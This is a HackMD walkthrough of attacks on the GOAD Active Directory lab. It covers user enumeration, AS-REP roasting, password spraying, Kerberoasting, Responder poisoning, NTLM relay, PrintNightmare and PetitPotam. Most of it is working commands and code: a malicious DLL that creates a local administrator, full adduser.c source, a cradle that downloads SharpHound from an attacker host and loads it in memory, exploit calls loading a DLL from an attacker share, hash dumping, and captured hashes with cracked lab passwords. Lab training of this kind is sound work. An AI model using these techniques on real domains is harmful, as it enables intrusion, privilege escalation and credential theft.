Try   HackMD

🧪 Lab info

goad_lab_001

🖥️ Hosts

IP Name Hostname Domain
192.168.X.10 dc01 kingslanding sevenkingdoms.local
192.168.X.11 dc02 winterfell north.sevenkingdoms.local
192.168.X.12 dc03 meereen essos.local
192.168.X.22 srv02 castelblack north.sevenkingdoms.local
192.168.X.23 srv03 braavos essos.local
192.168.X.31 ws01 casterlyrock sevenkingdoms.local

📄 Hosts file

To use kerberos we need add DNS in /etc/hosts file, mandatory for Kerberos (FQDN resolution)

You can generate hosts file with netexec

netexec smb 192.168.X.0/24 --generate-hosts-file hosts_file
192.168.200.10  kingslanding sevenkingdoms.local kingslanding.sevenkingdoms.local
192.168.200.11  winterfell north.sevenkingdoms.local winterfell.north.sevenkingdoms.local
192.168.200.12  meereen essos.local meereen.essos.local
192.168.200.22  castelblack castelblack.north.sevenkingdoms.local
192.168.200.23  braavos braavos.essos.local
192.168.200.31  casterlyrock casterlyrock.sevenkingdoms.local

🔑 Credentials

User Password Host Domain Comments
samwell.tarly Heartsbane winterfell north.sevenkingdoms.local SMB Enumeration users on winterfell
brandon.stark iseedeadpeople winterfell north.sevenkingdoms.local ASREP Roasting on north.sevenkingdoms.local
hodor hodor winterfell north.sevenkingdoms.local Password spraying on winterfell
jon.snow iknownothing winterfell north.sevenkingdoms.local Kerberoasting on north.sevenkingdoms.local
robb.stark sexywolfy winterfell north.sevenkingdoms.local Poisoning and cracking hash

🔍 Recon

🔵 SMB recon with netexec

netexec smb 192.168.X.0/24

goad_recon_smb_crackmapexec

By default, Microsoft enables SMB signing on Domain Controllers. In secure environments, SMB signing should be enforced network-wide to prevent NTLM relay attacks.

3 Domains found!!

  • sevenkingdoms.local
  • north.sevenkingdoms.local
  • essos.local

🔵 All ports scan with Nmap

sudo nmap -sSV -p- -Pn --open --reason --max-retries 2 --host-timeout 10m --min-rate 500 --scan-delay 50ms  --script "vulners,http-title,http-server-header" --script-args vulners.showall=true,http.useragent="Mozilla/5.0",http.pipeline=1 -T3 -oA all_ports_goad -vvv -iL alive

GOAD Open Ports

Finding users

Anonymous SMB Users enumeration with netexec and anonymous sessions allowed

netexec smb 192.168.56.0/24 --users

image

Found credentials of Samwell Tarly in description field.
NORTH\samwell.tarly:Heartsbane

We were able to enumerate users and groups because WINTERFELL allows anonymous connections.

🔷 Anonymous SMB Users enumeration without anonymous sessions

Generate a usernames wordlist from GOT website

The GOT website contains name and firstname of all actors.

how_to_generate_an_username_wordlist_from_website_001

With the following command we obtain a list FirstName + LastName extracted from the HTLM field aria-label, we eliminate the special characters, sorted alphabetically without repeating and taking into account that there may be actors without a last name.

curl -s \
  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" \
  https://www.hbo.com/game-of-thrones/cast-and-crew \
  | grep 'href="/game-of-thrones/cast-and-crew/' \
  | grep -o 'aria-label="[^"]*"' \
  | cut -d '"' -f 2 \
  | sed -E 's/[^a-zA-Z. ]//g' \
  | awk '{if(NF == 2) {print $1" "$2} else {print $1}}' \
  | sort -u > got_website_usernames.txt

Archmaester Ebrose
Arya Stark
Balon Greyjoy
...
...
Viserys Targaryen
Yara Greyjoy
Ygritte

The following code is a modification of Namemash script to be able to generate users only with the first name, without last name.

import sys
import os.path

def generate_usernames(name):
    """Generates a list of possible usernames from a given name.

    Args:
        name: The name (full name or single name) to generate usernames from.

    Returns:
        A list of generated usernames.
    """

    lowercase_name = name.lower().strip()
    tokens = lowercase_name.split()

    usernames = []
    if len(tokens) == 1:  # Handle single-name user
        # Use the single name and its variations for usernames
        usernames.append(lowercase_name)
    else:
        # Assume traditional first and last name for multiple tokens
        first_name, last_name = tokens[0], ' '.join(tokens[1:])

        # Generate usernames using different combinations of first and last name
        usernames.append(first_name + last_name)
        usernames.append(last_name + first_name)
        usernames.append(first_name + '.' + last_name)
        usernames.append(last_name + '.' + first_name)
        usernames.append(last_name + first_name[0])
        usernames.append(first_name[0] + last_name)
        usernames.append(last_name[0] + first_name)
        usernames.append(first_name[0] + '.' + last_name)
        usernames.append(last_name[0] + '.' + first_name)
        usernames.append(first_name)
        usernames.append(last_name)

    return usernames

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f'usage: {sys.argv[0]} names.txt')
        sys.exit(0)

    if not os.path.exists(sys.argv[1]):
        print(f'{sys.argv[1]} not found')
        sys.exit(0)

    with open(sys.argv[1]) as f:
        for line in f:
            name = line.strip()
            usernames = generate_usernames(name)
            for username in usernames:
                print(username)
python namemash.py got_website_usernames.txt > possible_usernames.txt
alliserthorne
thornealliser
alliser.thorne
thorne.alliser
thornea
...
...
y.greyjoy
g.yara
yara
greyjoy
ygritte

Nmap Username Enumeration without anonymous session

kingslanding

sudo nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=possible_usernames.txt" kingslanding

image

Found 7 users in sevenkingdoms.local domain.

meereen

sudo nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=possible_usernames.txt" meereen

image

Found 5 users in essos.local domain.

ASREP Roasting

I create a north_users.txt with all usernames previously found.

arya.stark
brandon.stark
hodor
jeor.mormont
jon.snow
rickon.stark
samwell.tarly
sansa.stark
sql_svc
GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile north_users.txt

image

hashcat -m 18200 brandon_stark.hash /usr/share/wordlists/rockyou.txt

Found NORTH\brandon.stark:iseedeadpeople credentials.

Password Spraying

This technique can block users

View password policy

crackmapexec smb winterfell --pass-pol

image

The password policy show us that if we fail 5 times in 5 minutes we lock the accounts for 5 minutes.

View Bad Password Count

We need any user credentials

crackmapexec smb -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local winterfell --users

image

Spraying username=password

crackmapexec smb winterfell -u north_users.txt -p north_users.txt --no-bruteforce

image

Found NORTH\hodor:hodor credentials.

Domain Enumeration

Get Domain Usernames

Getting usernames from north.sevenkingdoms.local domain

GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople

image

Getting usernames from sevenkingdoms.local domain

We can request users from sevenkingdoms.local domain because there is a trust present.

ldapsearch -H ldap://kingslanding -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName:'

image

Getting usernames from essos.local domain

We have no credentials to list this domain, at the moment. 😈

BloodHound

DO NOT USE bloodhound.py

RDP Brandon Strak - Winterfell

xfreerdp /compression /clipboard /dynamic-resolution /toggle-fullscreen /cert-ignore /tls-seclevel:0 /timeout:80000 /bpp:8 /drive:/home/jolmedo/tmp /auto-reconnect /u:brandon.stark /p:iseedeadpeople /d:north /v:winterfell

Enumerate domains

# Execute BloodHound in memory
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.100.223/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("--collectionmethods All --domain north.sevenkingdoms.local --searchforest true --outputdirectory c:\users\public\ --zipfilename bh_north_sevenkingdoms.zip".Split())

image

Enumerate too sevenkingdoms.local and essos.local domains.

Custom queries

All domains and computers

MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p

image

All domains and users

MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p

image

All domains, computers, groups and users

MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q

image

View ACL users

MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p

image

List All users and setting pwned!

Match (n:User) RETURN n

image

Kerberoasting

Search users with SPN (Server Principal Name) enabled.

Impacket

GetUserSPNs.py -request -dc-ip winterfell north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes

Crackmapexec

crackmapexec ldap winterfell -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting kerberoasting.hashes

image

Cracking kerberoasting.hashes with hashcat

hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force

Found NORTH/jon.snow:iknownothing credentials.

Relay and Poisoning

Responder

In the lab, there are two bots to simulate LLMRN, MDNS and NBT-NS requests. One user has a weak password but no admin right. Another user has admin rights but uses a strong password.

sudo python3 Responder.py -I vboxnet0 # Wait 5 minutes

image

image

robb.stark::NORTH:1122334455667788:138B29A14C5A082F19F946BB3AFF537E:01010000000000000090C5E56494D801E5D2F5789054B95D0000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:1122334455667788:76E26250ABF96A09E68ADC5A9B1A4C29:01010000000000000090C5E56494D801CA05EDDA86BE30280000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000

The bot try to make a smb connection to bravos instead of braavos. The DNS doesn’t know bravos without two ‘a’ so by default windows will send a broadcast request to find the associated computer. With responder we answer to that broadcast query and say that this server is us, and so we get the connection from the user.

The NetNTLM hashes are not usable to do pass the hash, but you can crack them to retrieve the password.

Cracking with hashcat

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

image

Found credentials of Robb Stark when cracking hash.
NORTH\robb.stark:sexywolfy

With Robb Stark we pwned NORTH domain, is an Administrator of Winterfell (North DC).

image

NTLM Relay

Unsigned SMB

netexec smb 192.168.56.0/24 --gen-relay-list relay_hosts.txt

image

image

Now we have a list of computer with signing:False

Responder + NTLMRelayx - SMB

Before starting Responder to poison the answer to LLMNR, MDNS and NBT-NS request we must stop the responder SMB and HTTP Server as we don’t want to get the hashes directly but we want to relay them to NTLMRelayx.

sed -i 's/HTTP = On/HTTP = Off/g' ~/Responder/Responder.conf && cat ~/Responder/Responder.conf | grep --color=never 'HTTP ='
sed -i 's/SMB = On/SMB = Off/g' ~/Responder/Responder.conf && cat ~/Responder/Responder.conf | grep --color=never 'SMB ='

Start Responder (check if HTTP and SMB is OFF)

sudo python3 Responder.py -I vboxnet0

image

Start NTLMRelayx

impacket.ntlmrelayx -tf relay_targets.txt -of netntlm -smb2support -socks
  • -tf : list of targets to relay the authentication
  • -of : output file, this will keep the captured smb hashes just like we did before with responder, to crack them later
  • -smb2support : support for smb2
  • -socks : will start a socks proxy to use relayed authentication

If you get a error of jinja2, try:
pip3 install Flask Jinja2 --upgrade

The poisoned connections are relayed to castelblack (192.168.56.22) and essos (192.168.56.23) and a socks proxy is setup to use the connection.

As eddard.stark is a domain administrator of north.sevenkingdoms.local he got administrator privileges on castelback.

Now we can use this relay to get an access to the computer as an administrator.

MITM6 + NTLMRelayx - LDAP

(Pending)

Domain Enum with credentials

Check MachineAccountQuota (by default any user can create 10)

netexec ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M maq

image

  1. Add new computer
impacket-addcomputer -computer-name 'samaccountname$' -computer-pass '1Qwerty(' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'

image

  1. Delete SPN
python ./krbrelayx/addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'

image

  1. Change name machine
python ./krbrelayx/renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing

(Pending)

PrintNightmare

netexec smb 192.168.56.0/24 -M spooler

image

impacket-rpcdump 192.168.56.10 | egrep 'MS-RPRN|MS-PAR'

image

Prepare malicious dll

nightmare.c

#include <windows.h> 

int RunCMD()
{
    system("net users jolmedo 1Qwerty! /add");
    system("net localgroup administrators jolmedo /add");
    system ("net localgroup \"Remote Desktop Users\" jolmedo /add");
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        RunCMD();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Compile

x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support

Download and execute exploit

git clone https://github.com/cube0x0/CVE-2021-1675
python3 CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.100.223\smb\nightmare.dll'

image

Testing new user

xfreerdp /compression /clipboard /dynamic-resolution /toggle-fullscreen /cert-ignore /tls-seclevel:0 /timeout:80000 /bpp:8 /drive:/home/jolmedo/tmp /auto-reconnect /u:jolmedo /p:1Qwerty! /v:meeren
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@north.sevenkingdoms.local '\\192.168.100.223\smb\nightmare.dll'
xfreerdp /compression /clipboard /dynamic-resolution /toggle-fullscreen /cert-ignore /tls-seclevel:0 /timeout:80000 /bpp:8 /drive:/home/jolmedo/tmp /auto-reconnect /u:jolmedo /p:1Qwerty! /v:meeren

Exploit Windows Server 2019 - Winterfell

The above exploit works but does not add the user to the admin group because it is caught by Windows Defender.

https://github.com/newsoft/adduser

adduser.c

/*
 * ADDUSER.C: creating a Windows user programmatically.
 */

#define UNICODE
#define _UNICODE

#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>


DWORD CreateAdminUserInternal(void)
{
    NET_API_STATUS rc;
    BOOL b;
    DWORD dw;

    USER_INFO_1 ud;
    LOCALGROUP_MEMBERS_INFO_0 gd;
    SID_NAME_USE snu;

    DWORD cbSid = 256;    // 256 bytes should be enough for everybody :)
    BYTE Sid[256];

    DWORD cbDomain = 256 / sizeof(TCHAR);
    TCHAR Domain[256];

    // Create user
    memset(&ud, 0, sizeof(ud));

    ud.usri1_name        = _T("jolmedo");                // username
    ud.usri1_password    = _T("1Qwerty!");             // password
    ud.usri1_priv        = USER_PRIV_USER;                   // cannot set USER_PRIV_ADMIN on creation
    ud.usri1_flags       = UF_SCRIPT | UF_NORMAL_ACCOUNT;    // must be set
    ud.usri1_script_path = NULL;

    rc = NetUserAdd(
        NULL,            // local server
        1,                // information level
        (LPBYTE)&ud,
        NULL            // error value
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

   _tprintf(_T("NetUserAdd OK\r\n"), rc, rc);

    // Get user SID
    b = LookupAccountName(
        NULL,            // local server
        ud.usri1_name,   // account name
        Sid,             // SID
        &cbSid,          // SID size
        Domain,          // Domain
        &cbDomain,       // Domain size
        &snu             // SID_NAME_USE (enum)
    );

    if (!b) {
        dw = GetLastError();
        _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
        return dw;
    }

    // Add user to "Administrators" local group
    memset(&gd, 0, sizeof(gd));

    gd.lgrmi0_sid = (PSID)Sid;

    rc = NetLocalGroupAddMembers(
        NULL,                    // local server
        _T("Administrators"),
        0,                        // information level
        (LPBYTE)&gd,
        1                        // only one entry
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

    return 0;
}

//
// DLL entry point.
//

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateAdminUserInternal();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif

__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
    CreateAdminUserInternal();
}

#ifdef __cplusplus
}
#endif

// Command-line entry point.
int main()
{
    return CreateAdminUserInternal();
}
x86_64-w64-mingw32-gcc -shared -o nightmare.dll adduser.c -lnetapi32
sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@north.sevenkingdoms.local '\\192.168.100.223\smb\nightmare.dll'

image

Dumping all hashes

netexec smb winterfell.north.sevenkingdoms.local -u jolmedo -p '1Qwerty!' -M ntdsutil

image

Don't forget to clean 🧹

Connect RDP

xfreerdp /compression /clipboard /dynamic-resolution /toggle-fullscreen /cert-ignore /tls-seclevel:0 /timeout:80000 /bpp:8 /drive:/home/jolmedo/tmp /auto-reconnect /u:jolmedo /p:1Qwerty! /d:north /v:winterfell

You will find your dlls inside:

  • C:\Windows\System32\spool\drivers\x64\3
  • C:\Windows\System32\spool\drivers\x64\3\Old\{id}\

image

ADCS

ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

https://github.com/topotam/PetitPotam

python petitpotam.py 192.168.100.223 meereen.essos.local 

This attack not works on update AD